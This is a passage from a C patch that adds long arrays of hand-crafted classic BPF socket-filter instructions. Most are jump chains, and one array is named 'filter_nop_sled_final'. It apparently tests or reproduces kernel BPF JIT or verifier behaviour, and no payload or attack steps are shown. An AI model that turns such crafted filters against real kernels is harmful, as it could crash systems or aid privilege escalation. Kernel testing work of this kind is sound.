.jt = 0x00, .jf = 0x00 }, + { .k = 0x00000056, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000054, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000055, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000029, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000058, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000058, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000057, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000058, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000017, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x56, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x55, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x54, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x53, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x52, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x51, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x50, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x49, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x48, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x47, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x46, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x45, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x44, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x43, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x42, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x39, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x38, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x37, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x36, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x35, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0016, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x1d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x1c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x1b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x1a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x19, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x18, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x17, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x16, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x15, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x14, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x13, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x12, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x11, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x10, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x0f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x0e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x0d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x0c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x0b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x0a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x09, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x08, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x07, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x06, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0016, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0016, .jt = 0x00, .jf = 0x00 }, +}; + +struct sock_filter filter_nop_sled_final[] = { + { .k = 0x00000000, .code = 0x001d, .jt = 0xbe, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xbd, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xbc, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xbb, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xba, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb9, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb8, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb7, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb6, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb5, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb4, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb3, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb2, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb1, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb0, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xaf, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xae, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xad, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xac, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xab, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xaa, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa9, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa8, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa7, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa6, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa5, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa4, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa3, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa2, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa1, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa0, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x9f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x9e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x9d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x9c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x9b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x9a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x99, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x98, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x97, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x96, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x95, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x94, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x93, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x92, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x91, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x90, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x8f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x8e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x8d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x8c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x8b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x8a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x89, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x88, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x87, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x86, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x85, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x84, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x83, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x82, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x81, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x80, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x7f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x7e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x7d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x7c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x7b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x7a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x79, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x78, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x77, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x76, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x75, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x74, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x73, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x72, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x71, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x70, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x6f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x6e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x6d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x6c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x6b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x6a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x69, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x68, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x67, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x66, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x65, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x64, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x63, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x62, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x61, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x60, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x5f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x5e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x5d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x5c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x5b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x5a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x59, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x58, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x57, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x56, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x55, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x54, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x53, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x52, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x51, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x50, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x49, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x48, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x47, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x46, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x45, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x44, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x43, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x42, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x41, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x40, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x39, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x38, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x37, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x36, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x35, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x34, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x33, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x32, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x31, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x30, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x2f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x2e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x2d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x2c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x2b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x2a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x29, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x28, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x27, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x26, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x25, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x24, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x23, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x22, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x21, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x20, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x1f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x1e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x1d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x1c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x1b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x1a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x19, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x18, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x17, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x16, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x15, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x14, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x13, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x12, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x11, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x10, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x0f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x0e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x0d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x0c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x0b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x0a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x09, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x08, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x07, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x06, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0016, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0016, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { 